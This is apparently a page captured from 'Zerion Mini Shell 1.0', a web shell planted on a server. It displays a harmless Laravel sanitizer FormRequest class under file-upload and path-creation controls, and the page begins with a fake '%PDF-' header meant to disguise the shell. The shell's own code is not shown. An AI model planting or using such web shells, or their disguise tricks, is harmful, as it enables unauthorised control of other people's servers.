%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/kpk/api/vendor/arcanedev/sanitizer/src/Http/
Upload File :
Create Path :
Current File : /var/www/html/kpk/api/vendor/arcanedev/sanitizer/src/Http/FormRequest.php

<?php namespace Arcanedev\Sanitizer\Http;

use Arcanedev\Support\Bases\FormRequest as BaseFormRequest;

/**
 * Class     FormRequest
 *
 * @package  Arcanedev\Sanitizer\Http
 * @author   ARCANEDEV <arcanedev.maroc@gmail.com>
 */
abstract class FormRequest extends BaseFormRequest
{
    /* ------------------------------------------------------------------------------------------------
     |  Main Functions
     | ------------------------------------------------------------------------------------------------
     */
    /**
     * Sanitize input before validating.
     */
    public function validate()
    {
        $this->sanitize();

        parent::validate();
    }

    /**
     * Sanitize this request's input.
     */
    protected function sanitize()
    {
        $sanitized = sanitizer()->make(
            $this->all(),
            $this->sanitizerRules()
        );

        $this->replace($sanitized);
    }

    /**
     * Sanitizer's rules to be applied to the input.
     *
     * @return array
     */
    abstract protected function sanitizerRules();
}

Zerion Mini Shell 1.0